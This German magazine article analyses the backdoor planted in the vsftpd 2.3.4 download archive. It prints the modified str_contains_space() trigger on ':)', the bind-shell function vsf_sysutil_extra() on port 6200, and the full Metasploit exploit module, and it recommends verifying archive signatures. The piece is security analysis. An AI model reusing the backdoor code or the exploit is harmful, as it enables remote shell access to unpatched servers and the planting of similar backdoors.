Open Source im professionellen Einsatz

Very Secure FTP Daemon: Backdoor öffnet Remote-Shell

Der Very Secure FTP Daemon (Vsftpd) ist ein freier FTP-Server, der besonderen Wert auf eine sichere Programmierung legt, um Schwachstellen so gut wie möglich zu vermeiden. Aber auch das beste Software-Design bringt nichts, wenn die Quellen auf dem Download-Server von einer Backdoor unterwandert werden, wie es jüngst geschah.

Die Backdoor wurde erst kürzlich erst entdeckt und hatte sich auf der Master-Seite von Vsftpd in der aktuellen Version 2.3.4 (vsftpd-2.3.4.tar.gz) eingenistet.

Technisch gesehen ist die Implementierung recht simpel und besteht nur aus wenigen Änderungen am Code. Backdoor-Autoren schreiben ihre Hintertürchen nicht direkt in den Authentifikationscode, da sie dort sehr leicht zu entdecken sind. Weniger auffällig ist es, Hilfroutinen zu modifizieren. Genau so arbeitet auch die aktuelle Vsftpd-Backdoor, die sich in einer Routine zur String-Manipulation versteckt. Die String-Funktionen von Vsftpd sind in der Datei "str.c" angesiedelt, und dort findet sich die Funktion "str_contains_space()", die einfach alle Zeichen eines Strings durchläuft und prüft, ob sich ein Leerzeichen darin befindet ("return 1") oder nicht ("return 0"):

int
str_contains_space(const struct mystr* p_str)
{
  unsigned int i;
  for (i=0; i < p_str->len; i++)
  {
    if (vsf_sysutil_isspace(p_str->p_buf[i]))
    {
      return 1;
    }
  }
  return 0;
}

Diese Funktion wird in "handle_login()" auf FTP-Benutzernamen beim Login angewandt, weshalb sie sich für eine Backdoor gut eignet.

Der Backdoor-Autor hat "str_contains_space()" nun folgendermaßen verändert:

int
str_contains_space(const struct mystr* p_str)
{
  unsigned int i;
  for (i=0; i < p_str->len; i++)
  {
    if (vsf_sysutil_isspace(p_str->p_buf[i]))
    {
      return 1;
    }
    else if((p_str->p_buf[i]==0x3a)
    && (p_str->p_buf[i+1]==0x29))
    {
      vsf_sysutil_extra();
    }
  }
  return 0;
}

In dieser modifizierten Version wird eine neue Funktion namens "vsf_sysutil_extra()" aufgerufen, falls der zu verarbeitende String die Zeichenfolge mit dem ASCII-Code "0x3a 0x29" enthält, was einem Smiley ":)" entspricht. Die neue Funktion "vsf_sysutil_extra()" ist in "sysdeputil.c" untergebracht:

int
vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1); 
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  { 
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0); 
  } 
}

Zusätzlich sind auch noch ein paar für die Socket-Programmierung notwendige Include-Anweisung hinzugekommen. Wer ein wenig von Socket-Programmierung versteht, erkennt hier sofort, dass diese Funktion einfach Port 6200 für TCP-Verbindungen öffnet und dann eine Shell bereitstellt. Interessanterweise ist aber kein Mechanismus implementiert, der dem Backdoor-Autor mitteilt, dass seine Backdoor auf dem Host aktiv ist. Ein Brute-Force-Scan zahlreicher FTP-Server ist aber extrem ineffizient, so dass es fragwürdig ist, wie sich diese Backdoor effektiv ausnutzen ließe. Ein auf dem Metasploit-Framework basierender Ruby-Scanner/Exploit sieht so aus:

##
# $Id: vsftpd_234_backdoor.rb 13093 2011-07-04 20:09:32Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
   'Description'    => %q{
     This module exploits a malicious backdoor that was added to the
    VSFTPD download archive. This backdoor was present in the vsftpd-2.3.4.tar.gz
    archive sometime before July 3rd 2011.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13093 $',
   'References'     =>
    [
     [ 'URL', 'http://pastebin.com/AetT9sS5'],
     [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
    ],
   'Privileged'     => true,
   'Platform'       => [ 'unix' ],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => '',
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType'    => 'cmd_interact',
       'ConnectionType' => 'find'
      }
    },
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'Jul 3 2011',
   'DefaultTarget' => 0))

  register_options([ Opt::RPORT(21) ], self.class)
  deregister_options('FTPUSER', 'FTPPASS')
 end

 def exploit

  nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
  if nsock
   print_status("The port used by the backdoor bind listener is already open")
   handle_backdoor(nsock)
   return
  end

  # Connect to the FTP service port first
  connect

  banner = sock.get_once(-1, 30).to_s
  print_status("Banner: #{banner.strip}")

  sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
  resp = sock.get_once(-1, 30).to_s
  print_status("USER: #{resp.strip}")

  if resp =~ /^530 /
   print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
   disconnect
   return
  end

  if resp !~ /^331 /
   print_error("This server did not response as expected: #{resp.strip}")
   disconnect
   return
  end

  sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

  # Do not bother reading the response from password, just try the backdoor

  nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
  if nsock
   print_good("Backdoor service has been spawned, handling...")
   handle_backdoor(nsock)
   return
  end

  disconnect

 end

 def handle_backdoor(s)

  s.put("id\n")

  r = s.get_once(-1, 5).to_s
  if r !~ /uid=/
   print_error("The service on port 6200 does not appear to be a shell")
   disconnect(s)
  end

  print_good("UID: #{r.strip}")

  s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
  handler(s)
 end

end

Der Scanner prüft die als Targets übergebenen Hosts und führt den angegeben Payload-Code aus, falls er die Backdoor entdeckt.

Der Anwender kann diese Backdoor leicht entdecken, wenn er die Signatur der Archiv-Datei überprüft. Mittlerweile ist die Vsftpd-Website auch auf die Google App Engine umgezogen, um ähnliche Probleme zukünftig zu vermeiden. Da die Backdoor sehr unprofessionell aufgezogen ist, bleibt unklar, welches Ziel der Angreifer verfolgte. Für eine groß angelegte Attacke und den Aufbau eines ausgereiften Netzwerks kompromittierter Hosts ist diese Backdoor jedenfalls kaum geeignet.

comments powered by Disqus

Ausgabe 07/2013

Preis € 6,40

Insecurity Bulletin

Insecurity Bulletin

Im Insecurity Bulletin widmet sich Mark Vogelsberger aktuellen Sicherheitslücken sowie Hintergründen und Security-Grundlagen. mehr...

Linux-Magazin auf Facebook